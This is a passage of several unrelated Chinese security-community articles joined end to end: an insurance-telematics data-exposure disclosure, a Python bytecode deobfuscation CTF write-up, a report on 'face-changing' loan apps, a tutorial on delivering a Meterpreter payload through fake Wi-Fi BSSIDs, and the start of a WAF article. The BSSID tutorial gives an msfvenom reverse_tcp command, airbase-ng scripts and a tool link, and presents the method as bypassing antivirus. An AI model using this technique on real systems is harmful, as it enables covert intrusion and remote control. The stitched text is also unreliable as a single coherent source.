<meta name="vs_defaultClientScript" content="JavaScript"/>
<meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie7" />
<!--<meta content="IE=EmulateIE10" name="ie_compatibility" http-equiv="X-UA-Compatible" />-->
<meta name="ie_compatibility" http-equiv="X-UA-Compatible" content="IE=7, IE=8, IE=EmulateIE9, IE=10, IE=11" />
</HEAD>
<body>
<form name="Form1" method="post" action="/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&ID=<another_code>&TARGA=<car_license>" id="Form1">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTIwNzEwODIsJFNAgEPKAJDIeBsdSpc2libGVnZGRic5McHC9+DqRx0H+jRt5O+/PLtw==" />
<iframe id="frm1" src="NewRicerca.aspx" width="100%" height="100%"></iframe>
<SCRIPT language="JavaScript">
<!-- self.close
// -->
</SCRIPT>
</form>
</body>
</HTML>
这里包含一个iframe，而且该iframe还是外部链接的！
透过这页面你可以得到：
关注了该保险公司网站的用户全名
私家车的品牌和型号
私家车的总行驶里数
私家车的行驶次数
私家车每月行驶了多少次
存取每月行驶的详细数据
存取每日行驶的详细数据（经纬度、时间、日期）
存取每月行驶数据（驾驶私家车的频率）
这里有大量数据，而且这些数据，是从安装卫星定位设备那刻就开始记录。
保险公司APP不需要任何认证就可以存取数据库资料，因此我可以把刚刚已知的叁数填进去，向数据库请求资料。通常地，数据库请求不需要知道所有叁数，我只需要删除一些不必要的叁数，剩下的叁数是我需要的。因此，我可以把代码简化成这样：
curl http://<domain>/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&ID=<another_code>&TARGA=<car_license>
可这里仍然有<another_code>。这看来是个数字叁数，我把之前的到得数字叁数填进行，最後可以成功运行。
所以，http://<domain>/<company>/(S(<uuid>))/NewRicerca.aspx这页面显示了所有我想要的数据。但是我们怎样得到<uuid>这叁数？
我尝试删除<uuid>这叁数，可是最终只得出一个空白的页面。
接着，我认为NewRemoteAuthentication.aspx这页面是负责<uuid>这个叁数。我尝试在这页面删除<uuid>这叁数，令我惊喜的是，这页面跳转回NewRicerca.aspx这个页面，而且还自动填写了<uuid>这叁数。现在，我可以调用NewRicerca.aspx这页面来看所有数据库资料。
**结论**
你只需要知道私家车的license许可证，就可以存取到该私家车的行驶资料，车主全名，私家车的位置。
我把这漏洞提交给了CERT Nazionale。
该汽车保险公司在这三星期内，已经更新了网页端的逻辑漏洞。该公司还透过电邮向用户表示，已经修复了APP手机端的漏洞。而在我向CERT
Nazionale提交了漏洞後，旧的网页端服务在一个半月後已经关闭了。
这是我的猜测，这个漏洞可能已经存在了三年，因为第一代安卓版APP的APIs仍然是使用至今。 | 社区文章 |
# Python字节码解混淆之反控制流扁平化
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上次打NISCCTF2019留下来的一道题，关于pyc文件逆向，接着这道题把Python
Bytecode解混淆相关的知识和工具全部过一遍。同时在已有的基础上进一步创新得到自己的成果，这是下篇，更近一步进行还原混淆过的pyc文件。
## 图表示法
目前可以见到最多的解混淆或者去花指令的手段类似于对于指令的匹配替换，甚至于可以说上一篇中的活跃代码分析也是带执行流分析的简单替换过程。但如果我想构建一个对于某种混淆方式的通用解法，只是工作于指令级别始终不够方便。那么需要一种新的方式去处理这些指令。
在这里选用一种 ** _基于有向图_** 的表示法，也即在执行流跳转的位置进行分割，使指令之间成块，相互之间用箭头相关联。如下图：
有了这种表示法之后就可以方便的在独立的块之间进行遍历和处理。
## Bytecode graph
这个工具来自[这里](https://www.fireeye.com/blog/threat-research/2016/05/deobfuscating_python.html),实现了基本的Python字节码到图表示的转换过程，但是相比起来功能较为单薄。
上一篇中把恶意指令全部NOP掉了，现在想把NOP指令用这个库全部去除，首先尝试调用API画出所有函数的图：
import bytecode_graph
from dis import opmap
import sys
import marshal
pyc_file = open(sys.argv[1], "rb").read()
pyc = marshal.loads(pyc_file[8:])
bcg = bytecode_graph.BytecodeGraph(pyc)
graph = bytecode_graph.Render(bcg, pyc).dot()
graph.write_png('example_graph.png')
结果崩溃了:
Traceback (most recent call last):
File "./gen_graph.py", line 9, in <module>
graph = bytecode_graph.Render(bcg, pyc).dot()
File "/tmp/flare-bytecode_graph/bytecode_gra/render.py", line 112, in dot
lbl = disassemble(self.co, start=start.addr, stop=stop.addr+1,
AttributeError: 'NoneType' object has no attribute 'addr'
查看源码发现是渲染模块里获取block的函数写的时候没有考虑到一个corner case，修复之后成功生成图像：
首先观察执行流可以很明显的看出是进行过控制流扁平化处理的，然后尝试阅读文档去除多余的NOP分支。
去除NOP的代码：
def remove_nop_inner(co):
bcg = bytecode_graph.BytecodeGraph(co)
nodes = [x for x in bcg.nodes()]
for n in nodes:
if n.opcode == NOP:
bcg.delete_node(n)
return bcg.get_code()
def remove_nop(co):
#co = remove_nop_inner(co)
inner = list()
for i in range(len(co.co_consts)):
if hasattr(co.co_consts[i], 'co_code'):
inner.append(remove_nop_inner(co.co_consts[i]))
else:
inner.append(co.co_consts[i])
co.co_consts = tuple(inner)
return co
再次运行然后再次崩溃：
Traceback (most recent call last):
File "./de.py", line 163, in <module>
mode = remove_nop(mode)
File "./de.py", line 108, in remove_nop
inner.append(remove_nop_inner(co.co_consts[i]))
File "./de.py", line 100, in remove_nop_inner
return bcg.get_code()
File "/home/fx-ti/ctf/nisc2019/py/deconfus/flare-bytecode_graph/bytecode_gra/bytecode_graph.py", line 225, in get_code
new_co_lineno = self.calc_lnotab()
File "/home/fx-ti/ctf/nisc2019/py/deconfus/flare-bytecode_graph/bytecode_gra/bytecode_graph.py", line 173, in calc_lnotab
new_offset = current.co_lnotab - prev_lineno
TypeError: unsupported operand type(s) for -: 'NoneType' and 'int'
这个错误就很有意思了，和之后成功还原仍然不能使用`uncompyle6`得到源码有关。都是在对`co_lnotab`这个部分的解析中出现了错误导致的崩溃。
[co_lnotab的文档](https://svn.python.org/projects/python/branches/pep-0384/Objects/lnotab_notes.txt)
Python通过`co_lnotab`将字节码和源码行数对齐，服务于源码调试。`co_lnotab`中的数据两字节为一组，分别是字节码的增量偏移和源码的增量偏移。
>>> import marshal
>>> f = open('../../mo.pyc')
>>> f.read(8)
'x03xf3rnLiT\'
>>> c = marshal.load(f)
>>> list(map(ord,c.co_lnotab))
[12, 2, 9, 6, 9, 5, 9, 3, 9, 3, 9, 18, 37, 2, 18, 2]
也即都从0开始计算，首先字节码增加了12条指令，源码就到了第2行，这样不断递增得到的对应关系。
>>> dis.dis(c.co_code)
0 JUMP_ABSOLUTE 670
3 NOP
4 NOP
5 NOP
6 NOP
7 NOP
8 NOP
9 NOP
10 NOP
11 NOP
>> 12 LOAD_FAST 0 (0) # 源码第2行
15 COMPARE_OP 2 (==)
18 POP_JUMP_IF_TRUE 39
然而这样的对应关系在修改了指令成为NOP之后便没有意义，因为从带参数的指令变成不带参数的指令定然会导致字节码偏移计算出错。更何况这个样本的pyc文件有的函数的`co_lnotab`是残缺的，便会导致尝试解析它的过程失败。然而不巧这个库和`uncompyle6`都是会解析的。
但即使是这样，这款库作为图的生成器，自带的指令解析和引用解析都不错，仍旧写出图生成脚本予以采用。并对之前的补丁操作提出了pr。
import bytecode_gra as bytecode_graph
from dis import opmap
import sys
import marshal
pyc_file = open(sys.argv[1], "rb").read()
pyc = marshal.loads(pyc_file[8:])
for x in pyc.co_consts:
if hasattr(x, 'co_code'):
bcg = bytecode_graph.BytecodeGraph(x)
graph = bytecode_graph.Render(bcg, x).dot()
try:
graph.write_png(x.co_name + '.png')
except Exception, e:
print(e)
print(x.co_name)
bcg = bytecode_graph.BytecodeGraph(pyc)
graph = bytecode_graph.Render(bcg, pyc).dot()
graph.write_png('module.png')
## Bytecode simplifier
这个比之前那个更加强大，来自于这篇[博客](https://0xec.blogspot.com/2017/07/deobfuscating-pjorion-using-bytecode.html)。
这个简化器原本是为了针对PjOrion解混淆而开发的，说来也是有意思，我这个[样本](http://blog.fxti.xyz/2019/08/30/Python-Bytecode-CFF-2/py%E4%BA%A4%E6%98%93.pyc)被命中了PjOrion v2的特征签名。
在分析上它同样使用遍历执行流的方式得到实际字节码并分离成一个一个基本块，特指只有一个入口和一个出口的一连串指令
可以看到完全无视之前生成的NOP。
在表示上直接使用`networkx.DiGraph`组织有向图，提供完整API，在类似`if`分支时正确分支为`explicit`属性的边，失败分支是`implicit`属性的边。正常的跳转的边都是`explicit`的。
### 自带的解混淆功能
#### Forwarder elimination
forwarder定义为只由一条跳转语句构成的基本块，只是转移了执行流没有任何有用操作。
黄色高亮的基本块就是一个forwarder，下图是去除以后。
#### Basic block merging
一个基本块可以被它的父基本块合并，当且仅当它只有这一个父基本块，且它的父基本块只有它一个子基本块。
高亮的基本块都能合并成为一个基本块，既然没有用，那么控制流转移指令被全部删除。
具体实现可以参考`simplifier.py`里的源码。
### 自己写的反控制流扁平化功能
首先还是在不添加简化流程的情况下运行，程序再次崩溃：
INFO:simplifier:43 basic blocks eliminated
Traceback (most recent call last):
File "./main.py", line 72, in <module>
process(args.ifile, args.ofile)
File "./main.py", line 58, in process
deob = parse_code_object(rootCodeObject)
File "./main.py", line 20, in parse_code_object
co_codestring = deobfuscate(codeObject.co_code)
File "/tmp/sim/deobfuscator.py", line 75, in deobfuscate
render_graph(simplifier.bb_graph, 'after_forwarder.svg')
File "/tmp/sim/utils/rendergraph.py", line 34, in render_graph
entryblock = nx.get_node_attributes(bb_graph, 'isEntry').keys()[0]
IndexError: list index out of range
分析之后发现是在forwarder
elimination之后把有入口点属性的基本块给消除了。修改源码在修改之后传递属性即可，同样提交[pr](https://github.com/extremecoders-re/bytecode_simplifier/pull/5)。
终于来到编写部分，在这里阐明控制流扁平化之后在本样本的特征：
* 入口点指定好第一个执行的块的常量然后进入分发基本块链
* 在分发基本块链中不断查找，只有在常量相等时进入正确分支执行对应基本块，否则进入失败分支继续查找
* 在实际执行基本块结尾指定下一块实际基本块的常量值
举例如下：
那么整个过程可以分成几步：
* 沿着分发基本块遍历得到分发关系，再找到实际基本块的尾端确认下一基本块的常量，之后配对得到实际关系
* 再修改配对的基本块之间的执行流，还原他们的先后执行次序
* 对入口点设置的常量的对应实际基本块设置成为入口点
* 把分发基本块链和入口点全部删除
* 把所有基本块尾部存在的设置常量的指令删除
可以看到原来打乱的控制流还原了，但是基本块之间还是有些琐碎，怎么办呢？
很简单，再跑一次forwarder elimination和merge blocks就行了！
可以看到这样就已经还原到近似于`CPython`生成的字节码了。虽然因为之前说过的原因用不了`uncompyle6`,但是可以用`unpyc`进行反编译可以得到：
def str2hex(string):
#[NODE: 0]
ret = []
#[NODE: 19]
for char in string:
ret(ord(char))
#[NODE: 48]
return ret
def hex2str(data):
#[NODE: 19]
for d in data:
#[NODE: 37]
return [](data)
def p_s():
sys(hex2str([115L, 117L, 99L, 99L, 101L, 115L, 115L, 33L]))
def p_f():
sys(hex2str([102L, 97L, 105L, 108L, 33L]))
def count(data):
#[NODE: 0]
a = [13433L, 4747L, 17752L, 33060L, 31051L, 48809L, 29988L, 6421L, 20021L, 38888L, 24844L, 20706L, 11713L, 34938L, 12865L, 6085L, 37391L, 32840L, 31964L, 27194L, 8701L, 48142L, 27066L, 28626L, 37431L, 39142L, 46795L, 21771L, 44280L, 40628L, 35013L, 18583L, 5418L, 4347L, 43929L, 9934L, 46892L, 19868L]
b = [13711L, 7074L, 79833L, 42654L, 23241L, 41412L, 61795L, 6373L, 19304L, 1363L, 1682L, 66279L, 76134L, 60748L, 10355L, 63484L, 30491L, 34005L, 51393L, 38029L, 7241L, 4998L, 18562L, 16935L, 66677L, 51321L, 13771L, 49108L, 52166L, 8851L, 16900L, 31682L, 16684L, 12046L, 16764L, 64315L, 76742L, 14022L]
c = [832832835L, -924053193L, -307134635L, -527578092L, 998625960L, -715102211L, 3572182L, -963194083L, -475718185L, -361574731L, -678171563L, 107566155L, 608670527L, 254218946L, -81206308L, -284228457L, 373369420L, 659110852L, 165298084L, -389004184L, 893094421L, -868933443L, 44838205L, -98551062L, -59800920L, -575871298L, -748337118L, 696390966L, 427210246L, -266607884L, -555200820L, -594235119L, -233255094L, 229291711L, 711922719L, 14476464L, -783373820L, 892608580L]
d = []
#[NODE: 385]
for i in range(38L):
d(a[i] * data[i] * data[i] + b[i] * data[i] + c[i])
#[NODE: 452]
e = [973988289L, -867920193L, -132362266L, -172451190L, 1471255182L, -242282199L, 321870424L, -897049789L, -428663209L, -256350703L, -613466537L, 321254055L, 641759727L, 344601346L, -40281788L, -217030057L, 476060216L, 767746297L, 503093626L, -102198850L, 984358207L, -415480559L, 322813233L, 178032672L, 48876640L, -467362638L, -260077296L, 923436845L, 536082660L, -138702820L, -210365307L, -397666023L, -215329942L, 274852104L, 818217684L, 41479433L, -632022956L, 1204798830L]
p_s()
#[NODE: 594]
594
-1L
flag = sys(38L)
count(str2hex(flag))
虽然有反编译出来的结果有问题，但还是不错了的。
## 小结
使用基于图的表示法成功针对控制流平坦化进行了还原。虽然针对ollvm的解混淆已经有了，但是针对Python字节码的还没看到，所以也算是做出了自己的成果。 | 社区文章 |
# 借贷软件变脸绕过应用市场审核
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 发现“变脸”应用
### 一、背景
近日，360烽火实验室接到一例反馈：用户描述从某应用市场下载了一个记事本应用， 经过一段时间的使用后发现该应用内容变成与贷款相关。
图1-1 初次使用时的软件内容
图1-2 经过一段时间之后的软件内容
随即我们根据用户反馈的内容进行快速跟进，发现该应用具有随机变换界面的功能，且变换后的应用功能已与原应用无关，因此将此应用称为“变脸”应用。
### 二、应用分类及上架平台
截止到2019年6月，360烽火实验室共发现“变脸”应用5400+余款，其中约10%的应用以工具类软件当“外衣”，“变脸”后变成投资理财或贷款类应用；约90%的应用为投资理财或贷款类应用，“变脸”只是更换一种理财或贷款产品，应用类型并没有改变。
图1-3 “变脸”应用类型分布情况
360烽火实验室在跟踪“变脸”应用的过程中发现，“变脸”应用在多个国内主流移动应用市场均有上架且广受好评，部分应用好评率达到95%，而且大部分应用的评论与应用功能介绍不符。
以一款名为“小猪白卡（手机）”的应用为例，该应用的介绍称其“为用户提供一键检测、智能估价、快速放款、安全可靠的专业回收服务。”在该应用的评论区可以看到近乎满分的打分和97%的好评率。而且评论内容中随处可见“贷款”、“借钱”的字样，评论内容和软件自身介绍的手机回收服务没有任何关系。这款软件实际运行后可发现内容充斥着大量网络借贷软件的推广。
图1-4 软件介绍与实际运行内容不符
## 解析“变脸”过程
### 一、“变脸”行为流程概述
图2-1 “变脸”行为示意图
### 二、软件行为分析
“变脸”应用首先会进行网络判断，在有网络连接的情况下访问服务器以获取“脸谱”指令，根据具体指令进行“脸谱”展示。
图2-2 判断网络连接
图2-3 访问服务器获取指令
“变脸”应用获取的指令格式为{“status”:指令}，当指令为“before”时，对应的代码内容及页面展示为：
图2-4 指令为“before”时对应代码内容
图2-5 指令为“before”时对应页面展示
当指令为“after”时，对应的代码内容及页面展示为：
图2-6 指令为“after”时对应代码内容
图2-7 指令为“after”时对应页面展示
当指令为“secondH5”时，应用访问服务器获取HTML5链接地址，利用WebView进行加载。
图2-8 指令为“secondH5”对应代码内容
图2-9 访问服务器获取HTML5地址并加载
图2-10 指令为“secondH5”时对应页面展示
“变脸”应用如果接收到的指令为“secondH5”，展示的内容则是HTML5页面。HTML5地址在访问服务器后返回的数据中，该数据由服务器使用者控制，具有不确定性。在分析“变脸”应用的过程中，我们实现将服务器返回的HTML5地址进行修改，替换成如下图所示内容。因“变脸”应用可能加载任意HTML5页面，用户使用过程中的风险性也就增加。
图2-11 HTML5地址替换
## 剖析“脸谱”线索
根据合作厂商提供的资料，北京某科技发展有限公司曾申请上架“变脸”应用。利用该公司名称查询到官网地址等信息。
图3-1 北京某科技发展有限公司信息
根据公司官网地址进行whois查询到联系邮箱等信息。
图3-2 whois查询
通过联系人邮箱进行whois反查，关联到七个公司。
图3-3 联系人邮箱whois反查
不难看出这些公司注册的域名与贷款和钱包有关系，同时我们也追踪到，上述七个公司上架国内移动应用市场的应用包含贷款类、投资理财类，并且是“变脸”应用。
与贷款类、投资理财类应用相比，工具类应用更容易上架移动应用市场，他们利用这点优势以工具类应用名称做伪装，以达到顺利上架移动应用市场的目的，经过“变脸”后，变成贷款类、投资理财类应用。
2019年1月，360烽火实验室发布了一篇《移动平台新型诈骗解析》的文章，简述了在传统恶意应用难以获利的环境下，利用赌博、伪贷、投资理财等手段的获利模式逐步显现。这些应用从实际功能看并无恶意行为，但是它们利用法律漏洞和用户需求，能在短期内获取高额利润。目前，新的检测手段还未成熟，需要消耗更高的人工成本，体现更多的是软件审核工作者和恶意应用开发者的较量。 | 社区文章 |
# 【技术分享】通过无线流量和BSSID传输后门有效载荷
|
##### 译文声明
本文是翻译文章，文章来源：peerlyst.com
原文地址：<https://www.peerlyst.com/posts/transferring-backdoor-payloads-with-bssid-by-wireless-traffic-damon-mohammadbagher?trk=search_page_search_result>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[金乌实验室](http://bobao.360.cn/member/contribute?uid=2818394007)
稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
在这篇文章中，我想聊一聊无线AP和BSSID（AP的MAC地址）。我们的后门有效载荷没有进行文件系统加密和硬编码，因此我们可以利用这种方法绕过杀毒软件。我们的Meterpreter
有效载荷在网络流量中传输。
在这种情况下，攻击者可以通过篡改BSSID（环路更改，伪造AP）和逐步将后门有效载荷注入到BSSID（伪造的AP的MAC地址）发动攻击。在客户端，被感染的系统（后门系统）可以通过在AIR上扫描AP的MAC地址（BSSID）来转储这些有效载荷，不需要通过user-pass连接到伪造的AP。通过Wifi设备传输有效载荷，例如wlan（无线流量）也在我的讨论范围之内。在AIR上扫描BSSID
转储有效载荷后，Meterpreter会话通过Ethernet Network建立（没有Wifi 或者无线设备）。
恶意软件代码或简单的后门代码可以利用WIFI设备传输或者转储有效载荷，例如Wlan，最后你将得到有简单C＃代码的 meterpreter 会话。
在这篇文章中，我使用Wifi设备仅仅是传输有效载荷（步骤1），通过扫描Wifi设备MAC地址（BSSID）
转储这些有效载荷，然后我的后门将通过eth0或Ethernet卡建立Meterpreter
会话，因此在这个阶段（步骤2），我们使用网络流量来建立Meterpreter 会话，不使用WIFI设备，。
注意：如果你想只通过WIFI设备来完成步骤1和步骤2，我认为技术上是可行的，但是我自己没有测试过。在步骤2中你可能会需要用到EvilTwin
AP，还需要使Meterpreter Listener在伪造的AP网络子网中有一个IP地址，你可以使用MANA-Toolkit来完成这个操作。
链接：<https://github.com/sensepost/mana>
**这个方法的重点是什么**
重点是：恶意软件或后门有效载荷注入到WiFi设备的BSSID，以及通过无线流量传输是可能的。
**从伪造的AP扫描注入的有效载荷到BSSID，步骤如下**
例如我们要传输以下的有效载荷：
“fec8b00011ddc00945f1”
**步骤1：** 攻击者系统将伪造的AP命名为“Fake”，MAC地址为00：fe：c8：b0：00：11
注意：Mac地址00：fe：c8：b0：00：11是注入的有效载荷，所以我们的有效载荷是“fec8b00011”,是有效载荷“fec8b00011ddc00945f1”的前半部分。
**步骤2：** 后门系统扫描Essid“Fake”并转储BSSID
注意：你的后门代码应该转储这部分的BSSID或Mac地址fe：c8：b0：00：11 ==> fec8b00011
**步骤3：** 攻击者系统将伪造的AP命名为“Fake”，Mac地址是00：dd：c0：09：45：f1
注意：Mac地址00：dd：c0：09：45：f1是注入的有效载荷，所以我们的有效载荷是“ddc00945f1”，是有效载荷
“fec8b00011ddc00945f1”的后半部分。
**步骤4：** 后门系统扫描Essid“Fake”并转储BSSID
注意：你的后门代码应该转储这部分的BSSID或Mac地址dd：c0：09：45：f1 ==> ddc00945f1
这2步扫描之后，在被感染的系统（后门系统）中你将会得到有效载荷 fec8b00011ddc00945f1。
现在你了解了这种方法的工作原理，接下来我将通过在linux端的命令向你展示（步骤1和步骤3）更多的信息。下面我将通过命令伪造AP。
**可选命令：** 在创建Wlan0mon之前更改WiFi卡的TXPower，这些命令可以帮助你更好的伪造AP信号，以便你可以手动操作此命令。
ifconfig wlan0 down
iw reg set BO
ifconfig wlan0 up
iwconfig wlan0 txpower 30
注意：这些命令在通过airmon-ng创建Wlan0Mon之前就该使用，这些命令是可选的，不是必需的。
**使用WLAN卡的监控模式是伪造AP的重要步骤**
你可以使用命令“airmon-ng start wlan0”为Wlan0创建“Wlan0Mon”监控模式。
注意：你可以手动运行此命令，或者可以在script1.sh文件中使用此命令，如步骤（cmd 1-1）。在本文中，我在攻击者端手动运行此命令。
**步骤1：** 攻击者系统将伪造的AP命名为“Fake”，MAC地址为00：fe：c8：b0：00：11。
注意：Mac地址00：fe：c8：b0：00：11是注入的有效载荷，所以我们的有效载荷是“fec8b00011”
cmd 1-1：airmon-ng start wlan0
注意：创建Wlan0Mon（监控模式）
cmd 1-2：airbase-ng -a 00：fe：c8：b0：00：11 -essid“Fake”-I 10 -0 wlan0mon
注意：你需要15秒伪造AP，15秒后你可以通过killall命令在cmd 1-2终止这个命令。
cmd 1-3：sleep 15
cmd 1-4：killall airbase-ng
**步骤3：** 攻击者系统将伪造的AP命名为“Fake”，MAC地址为00：dd：c0：09：45：f1
注意：Mac地址00：dd：c0：09：45：f1是注入的有效载荷，所以我们的有效载荷是“ddc00945f1”
cmd 3-1：airbase-ng -a 00：dd：c0：09：45：f1 -essid“Fake”-I 10 -0 wlan0mon
注意：你需要15秒伪造AP，15秒后你可以通过killall命令在cmd 3-1终止这个命令。cmd 3-2：sleep 15
cmd 3-3：killall airbase-ng
你可以看到在实施这些步骤的时候，我们需要使用以上命令，但是我在airbase-ng命令上遇到了大问题。
**问题以及解决方案**
问题出现在步骤（cmd 1-2）到（cmd 1-3）。
在步骤（cmd 1-2）之后，只有通过ctrl + c或kill能终止airbaseng命令，所以我的bash脚本总是停在步骤（cmd
1-2），直到我终止了进程。
针对这个问题，我的解决方案是使用2 个bash脚本文件：
第一个bash脚本文件是 “Script1.sh”， 使用于步骤（cmd 1-2和cmd 3-1）
注意：你可以在bash脚本的第一行中添加步骤（cmd 1-1）或手动执行。在本文中，我手动执行cmd 1-1。
第二个bash脚本是 “Script2.sh”，使用于步骤（cmd 1-3 & cmd 1-4 & cmd 3-2 & cmd 3-3）
所以在这种情况下，我们应该首先运行bash脚本“Script1.sh”，然后立即或2-3秒后运行bash脚本“Script2.sh”。
我们得到以下的文件：
Script1.sh文件：
＃！/ bin / bash
airbase-ng -a 00：fe：c8：b0：00：11 -essid“Fake”-I 10 -0 wlan0mon;
airbase-ng -a 00：dd：c0：09：45：f1 -essid“Fake”-I 10 -0 wlan0mon;
Script2.sh文件：
#!/bin/bash
sleep 15 ;
killall airbase-ng ;
sleep 15 ;
killall airbase-ng ;
注意：你可以在bash脚本“Script2.sh”文件中使用循环命令，例如使用（for）。
如图A所示，我们有script1.sh文件，用于将Meterpreter 有效载荷注入到BSSID。
图A
如图A所示，Meterpreter 有效载荷从第3行开始。在本文中我的Meterpreter 有效载荷是510字节。在这种情况下，使用airbase-ng命令可以为名为“Fake”的伪造AP注入5字节的有效载荷到BSSID。因此我们应该有102行用于通过airbase-ng命令将所有的有效载荷注入到BSSID。
102 * 5 = 510字节
注意：每个BSSID包含5个字节的有效载荷。
BSSID = 00：fc：48：83：e4：f0
{5字节} ==> fc-48-83-e4-f0
在这种情况下，应将两个BSSID MAC地址添加到script1.sh文件。
如图A所示，我的脚本在第2行有MAC地址00：ff：ff：ff：ff：ff，这个Mac地址或BSSID是启动攻击和传输流量到被感染系统的标志，再如图B所示，此文件应该以BSSID
{00：ff：00：ff：00：ff}结束。
BSSID Flag for Start = 00:ff:ff:ff:ff:ff
BSSID Flag for Finish = 00:ff:00:ff:00:ff
BSSID注入循环：改变BSSID（102 + 2）= 104次。
图B
如图C所示，可以看到第二个脚本script2.sh文件，在这个文件中可以使用循环命令，例如（For）。
图C
在 “script2.sh” 文件中，应该至少kill airbase-ng 104次。
**具体分析**
接下来我要通过我的工具（NativePayload_BSSID.exe）来逐步分析这个方法：
步骤如下：
**步骤0：** 创建Wlan0mon（监控模式）。
语法：airmon-ng start wlan0
**步骤1：** 使用以下命令生成一个后门有效载荷：
msfvenom -a x86_64 --platform windows -p windows / x64 / meterpreter / reverse_tcp lhost = 192.168.1.50 -f c> payload.txt
**步骤2：** 在payload.txt文件中将有效载荷的格式从“ xfc x48 x83 xe4”替换为“fc4883e4”。
可以使用这个工具的 “帮助”显示所有的语法，如图1所示：
图片1
现在应该复制粘贴有效载荷字符串，通过NULL NativePayload_BSSID，如图1-1所示：
语法：c:> NativePayload.exe null “fc4883e4…”
图1-1
接下来将所有行复制到一个bash脚本，例如“script1.sh”文件。
注意：仅复制粘贴airbase-ng命令行到script1.sh文件。
在这种情况下，这些行应该是102行+2 = 104行。
如图A所示，你应该在脚本的第一行手动添加 “＃！/ bin / bash”，现在在这个文件中应该有105行。
**步骤3：** 在Linux端运行Script1.sh。
更改chmod并运行此脚本，如图2所示：
图2
步骤4：创建 script2.sh，并更改此脚本的chmod，但是不需要在此步骤中运行这个脚本，如图3所示。
图3
注意：应该手动创建bash脚本，如图C所示。
**步骤5：** 运行后门，使用NativePayload_BSSID.exe工具，如图4所示，我在kali linux创建了Meterpreter
Listener，IPAddress 192-168-1-50，执行了“script1.sh”。
步骤5包含以下步骤：
步骤AA：Meterpreter Listener执行（linux）
步骤BB：script1.sh运行（linux）
步骤CC：后门“NativePayload_BSSID.exe” 运行（Windows）
步骤DD：script2.sh运行（linux）
在步骤CC中，应该使用以下的语法来执行后门NativePayload_BSSID，如图4所示
NativePayload_BSSID.exe “essid”
在本文中，我们在script1.sh中的ESSID是“Fake”，所以正确的语法是：
c：> NativePayload_BSSID.exe“Fake”
如图4所示，执行步骤（AA，BB和CC）。
图4
如图4所示，由用户“u1”执行后门，接下来应该运行“script2.sh”（步骤DD）。
后门代码试图在AIR上扫描ESSID“Fake”，然后转储BSSID为“Fake”AP，因此如图4所示，我的代码转储4次BSSID“00：ff：ff：ff：ff：ff”，该BSSID是启动攻击和通过BSSID传输有效载荷的标志。
所以在AIR上，我们有以下这些步骤：
接下来运行script2.sh（步骤DD）。
在运行Script2.sh后，每15秒该脚本将从Script1.sh文件中删除一个Airbase-ng命令。
运行Script2.sh后，在AIR上我们有以下这些步骤：
如图5所示，我的后门在运行“script2.sh”文件后尝试转储BSSID。
图5：通过BSSID和无线流量传输后门有效载荷
如图6所示，30分钟后你将得到meterpreter 会话。
图6
在图中可以看到我们已经通过C＃代码建立了Meterpreter会话，并且我的Kaspersky
2017杀毒软件被这个方法一次又一次地绕过。最终meterpreter会话成功建立了。
注意：在图7中你可以看到我的代码在15秒延迟后建立Meterpreter会话连接，所以如果你使用我的代码验证这个方法，转储所有的有效载荷后，你应该等待15秒，然后你将得到Meterpreter会话。
图7
**结语**
无线设备总是很容易被攻击，因此我们应该考虑以下威胁：
1\. 恶意软件或后门有效载荷注入到WiFi设备的BSSID，以及通过无线流量传输是可能的。
2\. 如果你想为你的客户端和网络基础设施使用WIFI设备，你应该考虑这些威胁。
3\. 受感染的系统是脆弱的，你的客户端也许会被攻击者攻击。
4\. 我的后门试图扫描ESSIDs，例如“Fake”，以转储BSSID，这个流量将会悄悄的工作。
5\. 你的杀毒软件无法检测到，而且 LAN /
WAN中的防火墙被绕过，因为我们没有任何流量通过这些基础设施。在这种情况下，在AIR上我们在被感染系统Wifi卡和攻击者系统Wifi卡之间有直接流量。在后门转储有效载荷后，我们不使用Wifi卡，而是通过LAN
/ WAN将Reverse_tcp
Meterpreter会话流量从被感染系统传输到攻击者系统。因此在这种情况下，我们在Internet或LAN中有从后门系统到攻击者系统的传出流量，而且这个流量大部分情况下不会被Windows防火墙阻拦。
C＃源代码：<https://github.com/DamonMohammadbagher/NativePayload_BSSID> | 社区文章 |
# 【技术分享】详谈WAF与静态统计分析
|
##### 译文声明
本文是翻译文章，文章来源：ptsecurity.com
原文地址：<http://blog.ptsecurity.com/2017/10/do-wafs-dream-of-static-analyzers.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
虚拟补丁（VP）近年来一直是保护应用程序最受欢迎的方法之一，如果在Web应用程序防火墙层级添加VP功能，该功能可用于保护Web应用程序免遭已知漏洞的威胁攻击。简而言之，VP利用静态应用程序安全测试（SAST）的结果并使用它们来创建规则以用来过滤WAF上的HTTP请求。
但问题在于，SAST和WAF依赖于不同的应用程序模型和不同的决策方法。因此，目前可用的解决方案中没有一个能够将SAST与WAF完美的结合起来。SAST基于白盒模型，它采用公式方法来检测代码中的漏洞。然而，WAF将应用程序视为黑盒子，因此它使用启发式方式进行攻击检测。但是如果我们能让SAST和WAF完美的结合在一起使用，我们可以通过SAST获取有关应用程序内部结构的信息，并将这些信息提供给WAF，这样我们就可以以一种“优雅”的方式来检测网络攻击。
**传统VP**
****
一般地，在Web应用程序传统自动化虚拟修补方法中，我们需要向WAF提供SAST检测到的每个漏洞信息，这些信息包括：
**漏洞分类**
**Web应用程序的脆弱点**
**攻击所需的HTTP请求参数值**
**构成攻击向量脆弱点参数的值**
**脆弱点参数中可用于漏洞利用的一组字符或一个单词。**
一般地，我们可以通过定义某些函数来获取HTTP请求中的参数值，例如下面是一段易受XSS攻击的ASP.NET页面的代码片段：
通过分析针对上面页面的攻击向量代码，我们可以生成一组攻击向量值的符号公式：
